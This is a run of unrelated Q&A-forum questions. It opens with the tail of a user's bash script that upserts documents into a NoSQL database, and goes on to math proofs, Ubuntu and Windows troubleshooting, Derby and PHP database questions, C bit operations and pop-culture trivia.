{"docs":[]}             result="{\"docs\":[$result]}"              #Remove unwanted windows characters before sending the document (again)             result=$result | sed 's/\r//g'             result=$result | iconv -t "UTF-8"             s=$(curl -H "Content-Type: application/json; charset=UTF-8" -H "Cache-Control: no-cache" -d "$result" $2/$3/_bulk_docs --silent)              #Echo result             echo $s         else           #Status should be 200.           echo 'status: '$status ' - ' $id         fi          docIndex=$((docIndex+1))        done     done <<< "$allStatus" done   This script aims to upsert documents inside a NoSQL database. If first try to insert and if if fails it retrieves a property (the revision) of the document, append to it and then retry once.  I know this script could be improved but this is my first bash script and it won't be used in production (only for testing, etc.).


I am looking for a good commutative algebra book. If you can recommend me something, that would be great. I've heard about Algebra by Serge Lang, Abstract Algebra by Dummit and Foote(?), and Commutative Algebra with a View Towards Algebraic Geometry by Eisenbud. These are my options, and I need an opinion on this. Thanks in advance!


Can creating a duplicate site for testing and upgradation can cause duplicate content

Considering upgrade of CMS to latest version- the process may take anywhere from 2 to 4 weeks.  May suggest - we need to work on live server, what we have planned:   take exact replica of site and move to a test domain, but on live server Block Google, Bing, Yahoo - User-agent: Google Disallow: /, User-agent: Bing Disallow: /, User-agent: Yahoo Disallow: / in robots.txt Will upgrade CMS and add functionality - will test the entire structure, check URLusing xenu and move on to configure the site on original domain   The process upgradation and new tools may take 2 to 4 weeks....  Concern is that despite blocking Google, Bing & Yahoo through      User agent disallow    can still the URLof test site can be crawled by the search engines - if yes - it may hurt the original site as will read on as entire duplicate or is there any alternate way around.


currently I am working on the following two exercises as a revision for my exam.  Let $\mu$ be the counting measure on $\mathbb N$.   Show that if $1 \le p < s < \infty$ then $f \in L^p$ implies $f \in L^s$ and $\|f\|_s \le \|f\|_p$. Show that if $f \in L^p$ for some $p \ge 1$ then $\lim_{s \to \infty} \|f\|_s = \|f\|_\infty$.   My attempts so far:   It is $f \in L^s$ iff $\sum_{k = 1}^\infty |f(k)|^s$ converges. Since $f \in L^p$ we know that $\sum_{k = 1}^\infty |f(k)|^p$ converges. Thus for any $\varepsilon > 0$ there is $N \in \mathbb N$ s.t. \begin{align*} k \ge N \Longrightarrow |f(k)|^p < \varepsilon \Longrightarrow |f(k)| < \varepsilon^{1/p} \end{align*} We have $\forall k \ge N$ that $|f(k)|^s < \varepsilon^{s/p}$. Originally I wanted to use the comparison test now, showing that \begin{align*} \sum_{k = N}^\infty \varepsilon^{s/p} < \infty, \end{align*} but that does not work since \begin{align*} \sum_{k = N}^\infty \varepsilon^{s/p} = \varepsilon^{s/p} \underbrace{\sum_{k \ge N} 1}_{= \infty},  \end{align*} so I don't know how to go on here. Let $K := \|f\|_\infty$. We need to show that $\forall \varepsilon > 0$ $\exists M \in \mathbb N$ s.t. \begin{align*} s \ge M \Longrightarrow \left|\left(\sum_{k = 1}^\infty |f(k)|^s\right)^{1/s} - K\right| < \varepsilon. \end{align*} Choose $M$ s.t. $M > p$. Then $s > p$ and from part (i) we know that \begin{align*} \left(\sum_{k = 1}^\infty |f(k)|^s\right)^{1/s} \le \left(\sum_{k = 1}^\infty |f(k)|^p\right)^{1/p}. \end{align*} But how can I use this?


Are eevee volumetrics always going to be confined to square shapes?

Far as I can tell eevee will always render any shape with a volumetric material applied as a cube or rectangle, as opposed to say a sphere or something a bit more complex. Is this a hard limitation? Or something that might change later.


I'm wiring 5V from a power supply directly to a micro USB cable. I'm only using the +5V and GND connectors, and leaving Data+ and Data-. While I only plan to use the cable for power, do I need to do anything with that D+ and D- cables, or can I leave them disconnected from both ends?  UPDATE I should clarify that the USB cable is connected to a Raspberry Pi, not a basic circuit.


How can Captain America's shield ricochet?

Captain America's shield is stated to be made at least partially of Vibranium, a material that is "vibration proof." Logically, this would mean that it dissipates all kinetic energy. However, in comics and movies, he frequently throws the shield and it bounces off of various objects (trees, vehicles, people). If the shield dissipates all vibration, shouldn't it simply impact its first target and then drop, having lost all its kinetic energy and therefore becoming unable to collide elastically?


When I watched "how I met your mother" season 5 ep15, Robin said: "Dibs on his wings" when she saw Barney was on TV, showed his phone number for any girl to call if that woman wanted to sleep with him. What does Robin mean when she said that? PS: Is there any mistake in my grammar?


ASP.NET: get height and width of an image

Various flavours of this question have been asked but I haven't found a correct answer yet.  Say i have an .jpg image on the file server and that I need to get its height and width. How do I do it in asp.net?  I've seen a few answers which suggests to do something like this:    System.Drawing.Image image=System.Drawing.Image.FromFile(PicturePath);  int ActualWidth=image.Width; int ActualHeight=image.Height; image.Dispose();   This would work fine except that .  So, how do you get the actual height and width of an image in ASP.net?


How to show date in top bar of deskop in ubuntu 18.04 LTS?

In the top bar of the  window day and time are shown, but not date. Is it possible to show the date also by changing the setting?


What is causing this (purple and green) color aberration?

I would like to know where this color aberration comes from in my pictures, so that I can avoid it wherever possible.  Here is a picture I took in the sunny afternoon with my 50mm 1.4G (nikkor) wide open at 100iso:     If this comes from the lens, how the professional photographers do to avoid it? (I assume my lens is quite good :-) but I may be wrong).  And here is a close up of the color aberration that I'm talking about :


Turning derby embedded database into derby network datatbase

Hi I learned programming by myself so please excuse me if I ask any dumb questions. I have developed a hotel management system and before finishing it I stumbled upon a confused task. I was using derby embedded database for my application as I was thinking for a single user application. But when i got my application really bigger I want this embedded data base in my main application to be accessible to few other application from different machines(basically application is same but with different user configuration). I was thinking to install an external database like Oracle or mySQL and being accessible by all application. But I came to know about this derby network server and I have few questions   Can I turn my main application as the server allowing other client applications accessible to it's embedded database ? If answer to first question is yes then where I should make changes ? I already have jar files like derbynet.jar in my project.What changes should I make from embedded to network database ?   I just started learning JSP/Servelts so I wont be able to follow anything if you suggest to use this architecture.  UPDATE:- I found some useful answers and realized that its possible to make my embedded derby a network database. But my problem now is how to start the network server and open the port. I added below codes to my connection statements when my application starts.   "CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(\n"             + "    'derby.drda.startNetworkServer', 'true')";  "CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(\n"             + "    'derby.drda.portNumber', '8011')"   and I executed this with my statements. Though it did not give any errors the netstat -an did not show me the port. And also my client application is not able to connect. I am getting "error connecting to server 0.0.0.0 on port: 8011 connection refused" I think this is not the way to start the network server or opening the port. Can anyone help me how to do this ?


Best method to encrypt passwords with php mssql

What would be the best method for encrypting passwords in a database . In my case I have to encrypt two passwords per user : the user access and your own email account.  The first serious in one direction , comparing the entered password with the one stored in mssql , but the second need it in both directions ( encrypting and decrypting ) because I need it for the user is validated by sending an email through php .  The server I am using has installed PHP Version 5.5.33-1 ~ dotdeb + 7.1  Thank you very much to all.


Why must I use the ~ operator when clearing a bit?

For example, if I want to set a bit in y at position n (in C)  y = y | (1 << n)   But if I want to delete a bit in y at position n I have to use the ~ operator after binary AND.  y = y & ~(1 << n);   My question: Why Must I use the ~ operator? Is this because the result turns into negative area?


In QGIS 3.2, I want to show text labels on a map that are coming from a polygon attribute - easy enough. But I want to have the flexibility to set the wrap text position in a certain space, not just at all spaces - as the text now looks ugly in that layout with a word on each line. Is there any way that can be done? e.g., make the only text wrap after the word "Regis" in this example: "Newtown Regis and Seckington".


WIFI interrupts repeatedly on MacBook Pro 2013 Retina 15" on Ubuntu 16.04

I have an installation of Ubuntu 16.04 x64 on my MacBook Pro Retina 2013 15". Using Internet via the Apple Thunderbolt-to-Ethernet adapter is fine but using WIFI internet works the way different: it "sees" the network, it connects and it stay online for about 10 minutes. After it the WIFI interrupts and I have to switch OFF and then again ON the WIFI to recover the connection for the next 5-10 minutes and it repeats and repeats.. over and over..  I have installed driver Broadcom 802.11 (BCM4331 802.11a/b/g/n (AirPort Extreme)) but with this driver the WIFI does not work completely. If I switch to the default driver (via Software&Updates->Additional Drivers) the WIFI works as described above.  Here is a system report:   UPDATE: The output of the lspci -knn | grep Net -A2 command:  03:00.0 Ethernet controller [0200]: Broadcom Corporation NetXtreme BCM57786 Gigabit Ethernet PCIe [14e4:16a3] (rev 10)     Subsystem: Broadcom Corporation NetXtreme BCM57786 Gigabit Ethernet PCIe [14e4:16b4] 03:00.1 SD Host controller [0805]: Broadcom Corporation BCM57765/57785 SDXC/MMC Card Reader [14e4:16bc] (rev 10)     Subsystem: Broadcom Corporation BCM57765/57785 SDXC/MMC Card Reader [14e4:96bc] -- 04:00.0 Network controller [0280]: Broadcom Corporation BCM4331 802.11a/b/g/n [14e4:4331] (rev 02)     Subsystem: Apple Inc. AirPort Extreme [106b:00ef]     Kernel driver in use: bcma-pci-bridge   UPDATED:  The solution, kindly suggested by the user Pilot6, did not work for me as: once I have done it step by step and reboot the WIFI completely disappears from the menu and even system settings.  The only thing began working form that point was to enable the Broadcom driver from the Software&Updates->Additional Drivers menu. But the problem is still the problem: the internet interrupts every 10-15 minutes.  The WIFI module works perfectly on MacOs 10.9 so the problem does not relate to the module's condition at all.  Any help is appreciated!  Thank you!


Animation on blender 2.72 does not work on blender 2.71

I have done some animations on my Mac pro using blender 2.72. However, my laptop has not GPU. So, I am using an other linux pc to do the rendering using blender 2.71. Unfortunately, the animation does not work as expected on linux machine. I remark that the armature animation is the same and work as on my Laptop, but the clothes and body does not follow the animation. What is the problem and How can I fix it ?


Adding $2$ absolute values together: $|x+2| + |x-3| =5.$

I came across a very basic absolute value question  $|x+2| + |x-3| =5.$  Initially, I thought the answer was $x=-2$ and $x=3$ because I let each absolute values be either positive and negative and that's what you get.  But the correct answer was an inequality;   $-2\le x \le 3.$  Now, If you try subbing values in or solve it graphically, this inequality is correct.  But how am I supposed to know if the solution is to be an inequality or equality? Is there anyway to tell by looking at the expression?  Thanks,


Show that $x^2\sin(\tfrac{1}{x})$ is classically differentiable.

I am trying to show that this function is classically differentiable. Now I can find the derivative no problem: $2x\sin(\tfrac{1}{x})-\cos(\tfrac{1}{x})$, and this gives me something to aim for, but getting to this using the classical definition of differentiability is proving challenging. Specifically, I am having trouble simplifying the expression $$\tfrac{x^2\sin(\tfrac{1}{x})-a^2\sin(\tfrac{1}{a})}{x-a}$$ I have tried using long division, but I feel like I am going in circles. I've also tried thinking about what I would need to multiply $x-a$ by to get the numerator, but I am stuck there too. Any suggestions?


proving inequality involving product of even and odd numbers

How to prove $$\frac{1}{4^n}\binom{2n}{n}\leq \frac{1}{\sqrt{\pi n}} ?$$  What i tried:  $$\frac{1}{4^n}\frac{(2n)!}{n!\times n!} = \frac{1}{2}\cdot \frac{3}{4}\cdot \frac{5}{6}\cdot \cdots \frac{2n-1}{2n}.$$  Arithmetic  inequality  $$\frac{2r-1+2r+1}{2}\geq \sqrt{(2r-1)(2r+1)}$$  $$2r\geq \sqrt{(2r-1)(2r+1)}$$  $$\frac{1}{2r}\leq \sqrt{\frac{1}{(2r-1)(2r+1)}}$$  $$\prod^{n}_{r=1}\frac{2r-1}{2r}\leq \prod^{n}_{r=1}\sqrt{\frac{2r-1}{2r+1}}=\frac{1}{\sqrt{2n+1}}\;\;, n\geq 1,$$  but how do I prove my original inequality for natural numbers?  Help me, please!


Dear Ubuntu Experts,  Would definitely appreciate some help.  I am using Ubuntu 14.04 that is on a partition.  Through the terminal I am trying to run a data processing script through an external hard drive and was given the following error:  /bin/sh: 1: RS_ICA.dr/scripts+logs/drB: Permission denied   Here is some info on drB:  Program File (type = shell script (application/x-shellscript))  I did some background research and I believe my problem stems from how the external hard drive is mounted. However, I was not sure on how to go about unmounting and mounting my external while giving it new permissions.  Using cat /etc/mtab  I got for the external:  /dev/sdg1 /media/ryanbell/453Data fuseblk rw,nosuid,nodev,allow_other,default_permissions,blksize=4096 0 0   Could someone please tell me if they think the problem is the permissions (possibly cause it is default_permissions?), and then how I might go about unmounting and mounting the external hard drive with new permissions?  Thank you in advance!


Manually change filetype icons in Windows 7

I'm trying to find the dialog tab in Windows 7 that allows a user to change the icon used for a particular file type.  In Windows XP it would be under the Folder Options properties dialog.    Where is it on Windows 7?  I only want to change the icon of a specific filetype, to anything I want but this tab is no longer present in Folder Options of Windows 7.


Was Thanos part of the possible 50% that he want to kill?

So, Thanos's goal was to bring balance to the Universe by eradicating 50% of the living.  I wonder, was he part of the general population that could have died?  In other words, but killing half the living, was he not likely to kill himself as well?


What does the "integral" in Integral domain stand for?

This will be an odd question, but... In the name , what is the meaning of word integral? Does it refer to integral such as adjective for noun integer? Or does it instead refer to noun integrity?  The reason I am asking... In Czech language this is translated (when I would translate it back literally) as a "Domain of integrity" ("" for czechs here). But I suspect the original meaning was perhaps intended to refer to integers, instead of integrity? Just wondering if the translation is perhaps inaccurate...  As pointed out in comments, this question might have answer to this , I just don't see what the answer is (it seems both the terms are referred there...)


When can a batsman change from batting left handed to right handed?

Some shots in one-day or Twenty 20 cricket involve the batsman changing stance to play a shot (e.g. reverse sweep), but are there any provisions in cricket laws that allow the umpire to decide when this can take place because then the wide and lbw decisions also need to be adjusted.


When to consider a target Variable unbalanced?

i'm performing a binary classification task , and after cheking the target variable , i saw that i had 69% of 0's and 31% of 1's , so , my question is , do i have in this case a unbalanced target variable ?  and can somebody tell me , if there is a threshold , or when to consider a Target Variable unbalanced ?  Thanks to everyone


How to open port for a specific IP address with firewall-cmd on CentOS?

I would like to open port 4567 for the IP address 1.2.3.4 with the firewall-cmd command on a CentOS 7.1 server.  How can I achieve this, as the documentation I could find was too specific on this?